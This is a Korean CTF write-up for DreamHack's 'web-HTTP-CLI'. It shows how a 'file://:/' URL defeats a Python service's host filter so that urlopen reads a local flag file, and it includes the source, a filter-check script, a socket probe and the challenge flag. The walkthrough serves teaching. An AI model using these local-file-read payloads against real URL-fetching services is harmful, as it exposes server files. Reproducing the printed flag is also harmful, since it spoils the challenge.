[๐Ÿฅˆ Silver 2] ์ฝœ๋ก  ํ•˜๋‚˜๋กœ ๋นˆ ํ˜ธ์ŠคํŠธ๋ฅผ ๋งŒ๋“ค์–ด file:// ์„ ํ†ต๊ณผ์‹œํ‚จ๋‹ค โ€” DreamHack web-HTTP-CLI ํ’€์ด

2026-07-29ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 2] ์ฝœ๋ก  ํ•˜๋‚˜๋กœ ๋นˆ ํ˜ธ์ŠคํŠธ๋ฅผ ๋งŒ๋“ค์–ด file:// ์„ ํ†ต๊ณผ์‹œํ‚จ๋‹ค โ€” DreamHack web-HTTP-CLI ํ’€์ด

URL ์„ ๋ฐ›์•„ ๋Œ€์‹  ๊ธ์–ด๋‹ค ์ฃผ๋Š” 43์ค„์งœ๋ฆฌ TCP ์„œ๋น„์Šค. ํ˜ธ์ŠคํŠธ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋Š” ๋ˆˆ์— ์ž˜ ๋„๋Š”๋ฐ, ์ •์ž‘ ๋Œ€๋ถ€๋ถ„์˜ ์‹œ๋„๋ฅผ ์ฃฝ์ด๋Š” ๊ฑด ๊ทธ ์œ„์— ์žˆ๋Š” ํŠœํ”Œ ์–ธํŒจํ‚น์ด๋‹ค. netloc ์„ ์ฝœ๋ก ์œผ๋กœ ์ชผ๊ฐ  ๊ฒฐ๊ณผ๊ฐ€ ์›์†Œ 2๊ฐœ๊ฐ€ ์•„๋‹ˆ๋ฉด ๊ฒ€์‚ฌ์— ๋‹ฟ๊ธฐ๋„ ์ „์— ValueError ๋กœ ๋‚ ์•„๊ฐ„๋‹ค. netloc ์„ ์ฝœ๋ก  ํ•˜๋‚˜๋กœ๋งŒ ์ฑ„์šฐ๋ฉด ํ˜ธ์ŠคํŠธ๊ฐ€ ๋นˆ ๋ฌธ์ž์—ด์ด ๋˜๊ณ , urllib ์€ ๋นˆ ํ˜ธ์ŠคํŠธ๋ฅผ ๋กœ์ปฌ๋กœ ๋ณด๊ณ  ํŒŒ์ผ์„ ์—ด์–ด ์ค€๋‹ค.

๋ฌธ์ œ: DreamHack โ€” web-HTTP-CLI ๋ถ„๋ฅ˜: web ๋‚œ์ด๋„: ๐Ÿฅˆ Silver 2 FLAG: DH{5e2c73de0f2b273731665914bfaff022}

๋ฌธ์ œ ์„ค๋ช…์€ ๋‘ ์ค„์ด๋‹ค. "HTTP-CLI ์„œ๋น„์Šค ์ž…๋‹ˆ๋‹ค. ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”. ํ”Œ๋ž˜๊ทธ๋Š” /app/flag.txt์— ์žˆ์Šต๋‹ˆ๋‹ค."

ํ”Œ๋ž˜๊ทธ ์œ„์น˜๋ฅผ ๋Œ€๋†“๊ณ  ์•Œ๋ ค์ค€๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ๊นŒ ์ด ๋ฌธ์ œ๋Š” "๋ฌด์—‡์„ ์ฝ์„๊นŒ"๊ฐ€ ์•„๋‹ˆ๋ผ "์–ด๋–ป๊ฒŒ ๊ทธ ๊ฒฝ๋กœ๋ฅผ ์ฝ๊ฒŒ ๋งŒ๋“ค๊นŒ"๋‹ค.

๋“œ๋ฆผํ•ต ์›Œ๊ฒŒ์ž„ ํŽ˜์ด์ง€. ์ฃผ์†Œ์ฐฝ์— dreamhack.io ์›Œ๊ฒŒ์ž„ ๊ฒ€์ƒ‰ URL ์ด ๋ณด์ธ๋‹ค.
๋“œ๋ฆผํ•ต ์›Œ๊ฒŒ์ž„ ํŽ˜์ด์ง€. ์ฃผ์†Œ์ฐฝ์— dreamhack.io ์›Œ๊ฒŒ์ž„ ๊ฒ€์ƒ‰ URL ์ด ๋ณด์ธ๋‹ค.

์ œ๊ณต๋˜๋Š” ํŒŒ์ผ์€ app.py ํ•˜๋‚˜, 1,266๋ฐ”์ดํŠธ๋‹ค. ์›น ๋ฌธ์ œ์ธ๋ฐ ํ”„๋ ˆ์ž„์›Œํฌ๋„ ํ…œํ”Œ๋ฆฟ๋„ ์—†๋‹ค.


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…web-HTTP-CLI
๋‚œ์ด๋„๐Ÿฅˆ Silver 2
๋ถ„๋ฅ˜web
์ŠคํƒPython 3 ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋งŒ (socket + urllib.request)
์ œ๊ณต ํŒŒ์ผapp.py 43์ค„ (1,266 B)
๊ณต๊ฒฉ ํ‘œ๋ฉด์†Œ์ผ“์œผ๋กœ ํ•œ ์ค„์”ฉ ๋ฐ›๋Š” URL ๋ฌธ์ž์—ด
ํ•ต์‹ฌ ์ทจ์•ฝ์ ์Šคํ‚ด ๊ฒ€์‚ฌ ๋ถ€์žฌ + netloc ์–ธํŒจํ‚น์œผ๋กœ ๋นˆ ํ˜ธ์ŠคํŠธ๋ฅผ ๋งŒ๋“ค์–ด file:// ํ†ต๊ณผ

ํ’€์ด ํ๋ฆ„์€ ์„ธ ๋ฌธ์žฅ์ด๋ฉด ๋๋‚œ๋‹ค.

์„œ๋น„์Šค๋Š” ๋‚ด๊ฐ€ ์ค€ URL ์„ urllib.request.urlopen ์— ๊ทธ๋Œ€๋กœ ๋„˜๊ธด๋‹ค. ์Šคํ‚ด์„ ๊ฒ€์‚ฌํ•˜์ง€ ์•Š์œผ๋‹ˆ file:// ์„ ๋„ฃ์„ ์ˆ˜ ์žˆ๋‹ค.

๋ฌธ์ œ๋Š” ๊ทธ ์•ž์˜ ํ˜ธ์ŠคํŠธ ๊ฒ€์‚ฌ์ธ๋ฐ, ๊ฒ€์‚ฌ ์ž์ฒด๋ณด๋‹ค ๊ฒ€์‚ฌ ์ง์ „์˜ ํŠœํ”Œ ์–ธํŒจํ‚น์ด ํ›จ์”ฌ ์ด˜์ด˜ํ•œ ๊ทธ๋ฌผ์ด๋‹ค.

๊ทธ ๊ทธ๋ฌผ์„ ํ†ต๊ณผํ•˜๋ฉด์„œ ํ˜ธ์ŠคํŠธ๋ฅผ ๋นˆ ๋ฌธ์ž์—ด๋กœ ๋งŒ๋“œ๋Š” ํ‘œ๊ธฐ๊ฐ€ ๋”ฑ ํ•˜๋‚˜ ์žˆ๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” ์ด๊ฑด ์›น ์„œ๋ฒ„๊ฐ€ ์•„๋‹ˆ๋‹ค

๋ฌธ์ œ ๋ถ„๋ฅ˜๋Š” web ์ธ๋ฐ, ์ธ์Šคํ„ด์Šค๋ฅผ ์ผœ๊ณ  ๋ธŒ๋ผ์šฐ์ €๋กœ ๋ถ™์œผ๋ฉด ์•„๋ฌด๊ฒƒ๋„ ์•ˆ ๋‚˜์˜จ๋‹ค.

๋ธŒ๋ผ์šฐ์ €๋กœ ์„œ๋น„์Šค ํฌํŠธ์— ์ ‘์†ํ•œ ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์€ 127.0.0.1:18777 ์ด๊ณ  ๋ณธ๋ฌธ์€ "ํŽ˜์ด์ง€๊ฐ€ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค / ERR_INVALID_HTTP_RESPONSE" ์—๋Ÿฌ๋‹ค.
๋ธŒ๋ผ์šฐ์ €๋กœ ์„œ๋น„์Šค ํฌํŠธ์— ์ ‘์†ํ•œ ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์€ 127.0.0.1:18777 ์ด๊ณ  ๋ณธ๋ฌธ์€ "ํŽ˜์ด์ง€๊ฐ€ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค / ERR_INVALID_HTTP_RESPONSE" ์—๋Ÿฌ๋‹ค.

ERR_INVALID_HTTP_RESPONSE. ์—ฐ๊ฒฐ์€ ๋˜๋Š”๋ฐ ์‘๋‹ต์ด HTTP ๊ฐ€ ์•„๋‹ˆ๋‹ค.

(์œ„ ์บก์ณ๋Š” ๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค๊ฐ€ ์•„๋‹ˆ๋ผ ๋’ค์—์„œ ๋งŒ๋“ค ๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ๋‹ค. ๊ฐ™์€ app.py ๊ฐ€ ๋Œ๊ธฐ ๋•Œ๋ฌธ์— ์‘๋‹ต๋„ ๊ฐ™๋‹ค. ๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค๋Š” ์บก์ณ ๋„์ค‘ ๋งŒ๋ฃŒ๋ผ์„œ ์ ‘์† ๊ฑฐ๋ถ€ ํ™”๋ฉด์ด ๋‚˜์˜ค๋Š”๋ฐ, ๊ทธ๊ฑด "HTTP ๊ฐ€ ์•„๋‹ˆ๋‹ค"์˜ ์ฆ๊ฑฐ๊ฐ€ ์•„๋‹ˆ๋ผ "์„œ๋ฒ„๊ฐ€ ์—†๋‹ค"์˜ ์ฆ๊ฑฐ๋ผ ์“ฐ์ง€ ์•Š์•˜๋‹ค.)

์ด ์„œ๋น„์Šค๋Š” HTTP ๋ฅผ ๋งํ•˜์ง€ ์•Š๋Š”๋‹ค. ์ ‘์†ํ•˜๋ฉด ๋ฐฐ๋„ˆ๋ฅผ ๋˜์ง€๊ณ  > ํ”„๋กฌํ”„ํŠธ๋ฅผ ๋‚ด๋Š” ๋ผ์ธ ๊ธฐ๋ฐ˜ TCP ์„œ๋น„์Šค๋‹ค. netcat ์œผ๋กœ ๋ถ™์–ด ๋ณด๋ฉด ๋ฐ”๋กœ ๋ณด์ธ๋‹ค.

timeout 5 nc host3.dreamhack.games 10979

netcat ์œผ๋กœ ๋ผ์ด๋ธŒ ์„œ๋น„์Šค์— ์ ‘์†ํ•œ ํ„ฐ๋ฏธ๋„. "[ HTTP-CLI ]" ๋ฐฐ๋„ˆ์™€ "Input Example: > https://dreamhack.io:443/" ๊ทธ๋ฆฌ๊ณ  ํ”„๋กฌํ”„ํŠธ๊ฐ€ ์ฐํ˜”๋‹ค.
netcat ์œผ๋กœ ๋ผ์ด๋ธŒ ์„œ๋น„์Šค์— ์ ‘์†ํ•œ ํ„ฐ๋ฏธ๋„. "[ HTTP-CLI ]" ๋ฐฐ๋„ˆ์™€ "Input Example: > https://dreamhack.io:443/" ๊ทธ๋ฆฌ๊ณ  ํ”„๋กฌํ”„ํŠธ๊ฐ€ ์ฐํ˜”๋‹ค.

๋ฐฐ๋„ˆ๊ฐ€ ์ž…๋ ฅ ํ˜•์‹๊นŒ์ง€ ์•Œ๋ ค์ค€๋‹ค. https://dreamhack.io:443/ ์ฒ˜๋Ÿผ ์Šคํ‚ดยทํ˜ธ์ŠคํŠธยทํฌํŠธ๊ฐ€ ๋‹ค ๋ถ™์€ URL ์„ ํ•œ ์ค„ ๋„ฃ์œผ๋ผ๋Š” ๊ฒƒ์ด๋‹ค.

์—ฌ๊ธฐ์„œ ํ•˜๋‚˜ ์งš๊ณ  ๋„˜์–ด๊ฐˆ ๊ฒŒ ์žˆ๋‹ค. ๋ฐฐํฌ๋œ app.py ๋Š” [Input Example] ๊ณผ ์˜ˆ์‹œ๋ฅผ ๋‘ ์ค„๋กœ ๋‚˜๋ˆ  ๋ณด๋‚ด๋Š”๋ฐ, ์‹ค์ œ ๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค๋Š” [ HTTP-CLI ] ๋ผ๋Š” ์ œ๋ชฉ์„ ๋จผ์ € ๋‚ด๊ณ  ์˜ˆ์‹œ๋ฅผ ํ•œ ์ค„๋กœ ๋ถ™์—ฌ ๋ณด๋‚ธ๋‹ค. ๋ฐฐํฌ๋ณธ๊ณผ ๋ฐฐํฌ ์„œ๋ฒ„๊ฐ€ ์™„์ „ํžˆ ๊ฐ™์€ ํŒŒ์ผ์€ ์•„๋‹ˆ๋‹ค. ๋กœ์ง์€ ๊ฐ™์ง€๋งŒ ๋ฌธ๊ตฌ๊ฐ€ ๋‹ค๋ฅด๋‹ค๋Š” ๊ฒƒ๋งŒ ๊ธฐ์–ตํ•˜๊ณ  ๋„˜์–ด๊ฐ€๋ฉด ๋œ๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ โ€” 43์ค„

๋ฐฐํฌ๋ณธ ์ „์ฒด๋ฅผ ๊ทธ๋Œ€๋กœ ๋ณธ๋‹ค.

cat -n extracted/app.py

app.py ์ „์ฒด๋ฅผ ์ค„๋ฒˆํ˜ธ์™€ ํ•จ๊ป˜ ์ถœ๋ ฅํ•œ ํ„ฐ๋ฏธ๋„ ํ™”๋ฉด. 43์ค„์งœ๋ฆฌ ์†Œ์Šค๊ฐ€ ์ „๋ถ€ ๋ณด์ธ๋‹ค.
app.py ์ „์ฒด๋ฅผ ์ค„๋ฒˆํ˜ธ์™€ ํ•จ๊ป˜ ์ถœ๋ ฅํ•œ ํ„ฐ๋ฏธ๋„ ํ™”๋ฉด. 43์ค„์งœ๋ฆฌ ์†Œ์Šค๊ฐ€ ์ „๋ถ€ ๋ณด์ธ๋‹ค.

ํ•ต์‹ฌ๋งŒ ์˜ฎ๊ธฐ๋ฉด ์ด๋ ‡๋‹ค.

def get_host_port(url):
    return url.split('://')[1].split('/')[0].lower().split(':')
 
...
 
url = cs.recv(1024).decode().strip()
if len(url) == 0:
    break
try:
    (host, port) = get_host_port(url)
    if 'localhost' == host:
        cs.sendall('cant use localhost\n'.encode())
        continue
    if 'dreamhack.io' != host:
        if '.' in host:
            cs.sendall('cant use .\n'.encode())
            continue
    cs.sendall('result: '.encode() + urllib.request.urlopen(url).read())
except:
    cs.sendall('error\n'.encode())

์„ธ ๊ฐ€์ง€๊ฐ€ ๋ˆˆ์— ๋“ค์–ด์˜จ๋‹ค.

์ฒซ์งธ, ์Šคํ‚ด ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๊ฐ€ ์—†๋‹ค. urlopen ์— ๋“ค์–ด๊ฐ€๋Š” ๊ฑด ๋‚ด๊ฐ€ ์ค€ url ์›๋ณธ ๊ทธ๋Œ€๋กœ๋‹ค. http/https ๋งŒ ๋ฐ›๊ฒ ๋‹ค๋Š” ์ฝ”๋“œ๊ฐ€ ์–ด๋””์—๋„ ์—†๋‹ค.

๋‘˜์งธ, ํ˜ธ์ŠคํŠธ ๊ฒ€์‚ฌ๊ฐ€ ์ด๋ฆ„ ๊ธฐ๋ฐ˜์ด๋‹ค. dreamhack.io ๋งŒ ํ†ต๊ณผ์‹œํ‚ค๊ณ , ๊ทธ ๋ฐ–์—๋Š” ์ ์ด ๋“ค์–ด ์žˆ์œผ๋ฉด ๊ฑฐ๋ถ€ํ•œ๋‹ค. IP ๋ฅผ ์  ํ‘œ๊ธฐ๋กœ ์“ฐ๋Š” ๊ธธ์€ ๋ง‰ํ˜€ ์žˆ๋‹ค๋Š” ๋œป์ด๋‹ค.

์…‹์งธ, except: ๊ฐ€ ์ „๋ถ€๋ฅผ ๊ฐ์‹ผ๋‹ค. ํŒŒ์‹ฑ ์‹คํŒจ๋“  ๋„คํŠธ์›Œํฌ ์‹คํŒจ๋“  ํŒŒ์ผ ์—†์Œ์ด๋“  ์ „๋ถ€ error ํ•œ ์ค„๋กœ ๋ญ‰๊ฐœ์ง„๋‹ค. ์ด๊ฒŒ ๋‚˜์ค‘์— ์‚ฝ์งˆ์˜ ์›์ธ์ด ๋œ๋‹ค.

์ฐธ๊ณ ๋กœ ์ด๋ฆ„์œผ๋กœ ํ—ˆ์šฉ๋˜๋Š” ์œ ์ผํ•œ ํ˜ธ์ŠคํŠธ๋Š” ์‹ค์ œ๋กœ ์‚ด์•„ ์žˆ๋Š” ์‚ฌ์ดํŠธ๋‹ค.

๋ธŒ๋ผ์šฐ์ €๋กœ dreamhack.io ๋ฉ”์ธ ํŽ˜์ด์ง€์— ์ ‘์†ํ•œ ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์— dreamhack.io ๊ฐ€ ๋ณด์ธ๋‹ค.
๋ธŒ๋ผ์šฐ์ €๋กœ dreamhack.io ๋ฉ”์ธ ํŽ˜์ด์ง€์— ์ ‘์†ํ•œ ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์— dreamhack.io ๊ฐ€ ๋ณด์ธ๋‹ค.

์„œ๋น„์Šค์— https://dreamhack.io:443/ ์„ ๋„ฃ์œผ๋ฉด ์ด ํŽ˜์ด์ง€์˜ HTML ์ด ๊ทธ๋Œ€๋กœ ์†Œ์ผ“์œผ๋กœ ๋Œ์•„์˜จ๋‹ค. ์˜๋„๋œ ์ •์ƒ ๋™์ž‘์ด๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ๊ฑด ์ด๊ฒŒ ์•„๋‹ˆ๋ผ /app/flag.txt ์ง€๋งŒ.

app.py ๋Š” ์‹œ์ž‘ํ•  ๋•Œ open('./flag.txt') ๋กœ ํŒŒ์ผ์„ ์ฝ์–ด FLAG ๋ณ€์ˆ˜์— ๋‹ด์•„ ๋‘๋Š”๋ฐ, ๊ทธ ๋ณ€์ˆ˜๋ฅผ ์–ด๋””์„œ๋„ ์“ฐ์ง€ ์•Š๋Š”๋‹ค. ํ”Œ๋ž˜๊ทธ๋ฅผ ๊บผ๋‚ด๋Š” ๊ฒฝ๋กœ๋Š” ์˜ค์ง urlopen ๋ฟ์ด๋‹ค.


๐Ÿงฑ ๋ฐฐ๊ฒฝ โ€” urlopen ์€ ์Šคํ‚ด์„ ๊ฐ€๋ฆฌ์ง€ ์•Š๋Š”๋‹ค

urllib.request.urlopen ์€ ์ด๋ฆ„๊ณผ ๋‹ฌ๋ฆฌ HTTP ์ „์šฉ ํ•จ์ˆ˜๊ฐ€ ์•„๋‹ˆ๋‹ค. ๊ณต์‹ ๋ฌธ์„œ์—๋„ FTPยทfileยทdata URL ์„ ๋‹ค๋ฃฌ๋‹ค๊ณ  ์ ํ˜€ ์žˆ๊ณ , ๋ชฉ์ฐจ์—๋„ FileHandler Objects ์™€ DataHandler Objects ๊ฐ€ ๋‚˜๋ž€ํžˆ ์žˆ๋‹ค.

Python ๊ณต์‹ ๋ฌธ์„œ์˜ urllib.request.urlopen ํ•ญ๋ชฉ. ์ฃผ์†Œ์ฐฝ์€ docs.python.org ์ด๊ณ , ๋ณธ๋ฌธ์— "For FTP, file, and data URLs" ๋ฌธ์žฅ๊ณผ ์™ผ์ชฝ ๋ชฉ์ฐจ์˜ FileHandler Objects ํ•ญ๋ชฉ์ด ๋ณด์ธ๋‹ค.
Python ๊ณต์‹ ๋ฌธ์„œ์˜ urllib.request.urlopen ํ•ญ๋ชฉ. ์ฃผ์†Œ์ฐฝ์€ docs.python.org ์ด๊ณ , ๋ณธ๋ฌธ์— "For FTP, file, and data URLs" ๋ฌธ์žฅ๊ณผ ์™ผ์ชฝ ๋ชฉ์ฐจ์˜ FileHandler Objects ํ•ญ๋ชฉ์ด ๋ณด์ธ๋‹ค.

์ฆ‰ urlopen('file:///etc/passwd') ๋Š” ์˜ˆ์™ธ๊ฐ€ ์•„๋‹ˆ๋ผ ์ •์ƒ ์‚ฌ์šฉ๋ฒ•์ด๋‹ค. ๊ธฐ๋ณธ opener ์— FileHandler ๊ฐ€ ์ด๋ฏธ ๋“ฑ๋ก๋ผ ์žˆ๋‹ค.

๊ทธ๋Ÿผ file:// ๋’ค์— ๋ญ˜ ์“ธ ์ˆ˜ ์žˆ๋Š”์ง€๊ฐ€ ๋ฌธ์ œ์ธ๋ฐ, ์ด๊ฑด RFC 8089 ๊ฐ€ ์ •ํ•ด ๋†“์•˜๋‹ค.

RFC 8089 2์ ˆ Syntax. ์ฃผ์†Œ์ฐฝ์€ datatracker.ietf.org ์ด๊ณ  ๋ณธ๋ฌธ ABNF ์— file-hier-part, auth-path, local-path, file-auth ๊ทœ์น™์ด ๋ณด์ธ๋‹ค.
RFC 8089 2์ ˆ Syntax. ์ฃผ์†Œ์ฐฝ์€ datatracker.ietf.org ์ด๊ณ  ๋ณธ๋ฌธ ABNF ์— file-hier-part, auth-path, local-path, file-auth ๊ทœ์น™์ด ๋ณด์ธ๋‹ค.

์ถœ์ฒ˜: IETF Datatracker, RFC 8089 (M. Kerwin, 2017)

ABNF ๋ฅผ ๋ณด๋ฉด file-auth = "localhost" / host ์ด๊ณ , ๊ทธ ์œ„์˜ auth-path = [ file-auth ] path-absolute ์—์„œ file-auth ๊ฐ€ ๋Œ€๊ด„ํ˜ธ๋กœ ๊ฐ์‹ผ ์„ ํƒ ํ•ญ๋ชฉ์ด๋‹ค. ์ฆ‰ authority ์ž๋ฆฌ๋ฅผ ํ†ต์งธ๋กœ ๋น„์›Œ๋„ ๊ทœ๊ฒฉ์ƒ ๋งž๊ณ , ๋นˆ authority ๋Š” localhost ์™€ ๊ฐ™์€ ์˜๋ฏธ๋‹ค. file:///etc/passwd ์˜ ์Šฌ๋ž˜์‹œ๊ฐ€ ์„ธ ๊ฐœ์ธ ์ด์œ ๊ฐ€ ์ด๊ฒƒ์ด๋‹ค.

์—ฌ๊ธฐ์„œ ๊ณต๊ฒฉ์˜ ์œค๊ณฝ์ด ์žกํžŒ๋‹ค. ํ•„ํ„ฐ๋Š” authority ๋ฌธ์ž์—ด์„ ์ž๊ธฐ ๋ฐฉ์‹์œผ๋กœ ์ชผ๊ฐœ ํ˜ธ์ŠคํŠธ๋ฅผ ํŒ๋‹จํ•˜๊ณ , urllib ์€ ๊ฐ™์€ ๋ฌธ์ž์—ด์„ ์ž๊ธฐ ๋ฐฉ์‹์œผ๋กœ ์ชผ๊ฐœ ํ˜ธ์ŠคํŠธ๋ฅผ ํŒ๋‹จํ•œ๋‹ค. ๋‘ ํ•ด์„์ด ์–ด๊ธ‹๋‚˜๋Š” ์ง€์ ์„ ์ฐพ์œผ๋ฉด ๋œ๋‹ค.


๐Ÿ› ์‚ฝ์งˆ โ€” ์™œ ๋‹ค error ์ธ๊ฐ€

โ–ถ๐Ÿ› ์‚ฝ์งˆ 1 โ€” ๊ต๊ณผ์„œ์ ์ธ file:// ์„ธ ๊ฐ€์ง€๊ฐ€ ์ „๋ถ€ error ๋กœ ์ฃฝ๋Š”๋‹ค

๊ฐ€์žฅ ๋จผ์ € ๋„ฃ์–ด ๋ณผ ๊ฑด ์ •ํ•ด์ ธ ์žˆ๋‹ค. file:///app/flag.txt, file://localhost/app/flag.txt, file://127.0.0.1/app/flag.txt.

์…‹ ๋‹ค ์•ˆ ๋œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๋Œ์•„์˜ค๋Š” ๋ฉ”์‹œ์ง€๊ฐ€ ์ด์ƒํ•˜๋‹ค. cant use localhost ๋„ ์•„๋‹ˆ๊ณ  cant use . ๋„ ์•„๋‹ˆ๊ณ  ๊ทธ๋ƒฅ error ๋‹ค.

ํ•„ํ„ฐ ๋กœ์ง๋งŒ ๋–ผ์–ด๋‚ด ์˜คํ”„๋ผ์ธ์œผ๋กœ ํŒ์ •ํ•ด ๋ณด๋ฉด ์ด์œ ๊ฐ€ ๋‚˜์˜จ๋‹ค.

#!/usr/bin/env python3
"""app.py ์˜ ํ˜ธ์ŠคํŠธ ํ•„ํ„ฐ๋งŒ ๊ทธ๋Œ€๋กœ ๋–ผ์–ด๋‚ด ํ›„๋ณด URL ์„ ์˜คํ”„๋ผ์ธ์œผ๋กœ ํŒ์ •ํ•œ๋‹ค."""
 
 
def get_host_port(url):                       # app.py ์›๋ณธ ๊ทธ๋Œ€๋กœ
    return url.split('://')[1].split('/')[0].lower().split(':')
 
 
def verdict(url):
    try:
        (host, port) = get_host_port(url)
    except Exception as e:
        return "UNPACK-FAIL (%s: %s)" % (type(e).__name__, e)
    if 'localhost' == host:
        return "BLOCK cant use localhost"
    if 'dreamhack.io' != host:
        if '.' in host:
            return "BLOCK cant use ."
    return "PASS host=%r port=%r" % (host, port)
 
 
CASES = [
    "https://dreamhack.io:443/",
    "file:///app/flag.txt",
    "file://localhost/app/flag.txt",
    "file://127.0.0.1/app/flag.txt",
    "file://:/app/flag.txt",
    "file://:1/app/flag.txt",
    "file://a:1/app/flag.txt",
]
 
for u in CASES:
    print("%-32s -> %s" % (u, verdict(u)))

filter_check.py ์‹คํ–‰ ๊ฒฐ๊ณผ ํ„ฐ๋ฏธ๋„. file:/// ๊ณ„์—ด ์„ธ ๊ฐœ๋Š” UNPACK-FAIL ValueError, file://: ๊ณ„์—ด์€ PASS host ๋นˆ ๋ฌธ์ž์—ด๋กœ ํŒ์ •๋๋‹ค.
filter_check.py ์‹คํ–‰ ๊ฒฐ๊ณผ ํ„ฐ๋ฏธ๋„. file:/// ๊ณ„์—ด ์„ธ ๊ฐœ๋Š” UNPACK-FAIL ValueError, file://: ๊ณ„์—ด์€ PASS host ๋นˆ ๋ฌธ์ž์—ด๋กœ ํŒ์ •๋๋‹ค.

ValueError: not enough values to unpack (expected 2, got 1).

ํ˜ธ์ŠคํŠธ ๊ฒ€์‚ฌ์— ๋„๋‹ฌํ•˜์ง€๋„ ๋ชปํ•œ ๊ฒƒ์ด๋‹ค. file:///app/flag.txt ์˜ netloc ์€ ๋นˆ ๋ฌธ์ž์—ด์ด๊ณ , ''.split(':') ์€ [''] ์ด๋ผ ์›์†Œ๊ฐ€ ํ•˜๋‚˜๋‹ค. (host, port) ๋กœ ๋ฐ›์„ ์ˆ˜๊ฐ€ ์—†๋‹ค. file://localhost/... ๋„ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ['localhost'] ํ•œ ๊ฐœ, file://127.0.0.1/... ๋„ ['127.0.0.1'] ํ•œ ๊ฐœ.

localhost ๋ฅผ ๋ง‰๋Š” ์ฝ”๋“œ๋„, ์ ์„ ๋ง‰๋Š” ์ฝ”๋“œ๋„ ํ•œ ๋ฒˆ๋„ ์‹คํ–‰๋˜์ง€ ์•Š์•˜๋‹ค. ์ „๋ถ€ ๊ทธ ์œ„์—์„œ ์ฃฝ์—ˆ๋‹ค.

์‹ค์ œ ์„œ๋น„์Šค์— ๋ฌผ์–ด๋ด๋„ ๊ฐ™์€ ๋‹ต์ด ์˜จ๋‹ค. ํ•œ ์—ฐ๊ฒฐ ์•ˆ์—์„œ ์—ฌ์„ฏ ๊ฐœ๋ฅผ ์ˆœ์„œ๋Œ€๋กœ ๋ฐ€์–ด ๋„ฃ๋Š” ํƒ์นจ์„ ๋งŒ๋“ค์—ˆ๋‹ค.

#!/usr/bin/env python3
"""ํ•„ํ„ฐ๊ฐ€ ์–ด๋–ค URL ์„ ์–ด๋–ป๊ฒŒ ๋ง‰๋Š”์ง€ ์‹ค์ œ ์„œ๋ฒ„์— ๋ฌผ์–ด๋ณด๋Š” ํƒ์นจ."""
import socket
import sys
 
CASES = [
    ("https://dreamhack.io:443/", "์ •์ƒ ์˜ˆ์‹œ โ€” ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ํ˜ธ์ŠคํŠธ"),
    ("http://localhost:8000/", "localhost ๋ช…์‹œ"),
    ("http://127.0.0.1:8000/", "๋ฃจํ”„๋ฐฑ IP"),
    ("file:///app/flag.txt", "๊ต๊ณผ์„œ์ ์ธ file:// 3์Šฌ๋ž˜์‹œ"),
    ("file://localhost/app/flag.txt", "file:// + localhost"),
    ("file://:/app/flag.txt", "โ˜… netloc ์„ ์ฝœ๋ก  ํ•˜๋‚˜๋กœ"),
]
 
 
def recv_until_prompt(sock, timeout=6.0):
    sock.settimeout(timeout)
    buf = b""
    while True:
        try:
            chunk = sock.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break
        buf += chunk
        if buf.endswith(b"> "):
            break
    return buf.decode(errors="replace")
 
 
def main():
    host, port = sys.argv[1], int(sys.argv[2])
    with socket.create_connection((host, port), timeout=10) as s:
        recv_until_prompt(s)  # ๋ฐฐ๋„ˆ + ์ฒซ ํ”„๋กฌํ”„ํŠธ ๋ฒ„๋ฆฌ๊ธฐ
        for url, why in CASES:
            s.sendall((url + "\n").encode())
            resp = recv_until_prompt(s)
            body = resp.rsplit("> ", 1)[0].strip()
            if len(body) > 120:
                body = body[:120] + " ...(์ƒ๋žต)"
            print("%-32s %-26s => %s" % (url, "[" + why + "]", body or "(๋ฌด์‘๋‹ต)"))
        s.sendall(b"\n")
 
 
if __name__ == "__main__":
    main()

probe.py ๋ฅผ ๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ์— ๋Œ๋ฆฐ ํ„ฐ๋ฏธ๋„. dreamhack.io ๋Š” HTML ์„ ๋Œ๋ ค์ฃผ๊ณ , localhost ๋Š” cant use localhost, 127.0.0.1 ์€ cant use ., file:/// ๊ณ„์—ด์€ error, ๋งˆ์ง€๋ง‰ file://: ๋งŒ result ๋กœ ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋‚˜์™”๋‹ค.
probe.py ๋ฅผ ๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ์— ๋Œ๋ฆฐ ํ„ฐ๋ฏธ๋„. dreamhack.io ๋Š” HTML ์„ ๋Œ๋ ค์ฃผ๊ณ , localhost ๋Š” cant use localhost, 127.0.0.1 ์€ cant use ., file:/// ๊ณ„์—ด์€ error, ๋งˆ์ง€๋ง‰ file://: ๋งŒ result ๋กœ ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋‚˜์™”๋‹ค.

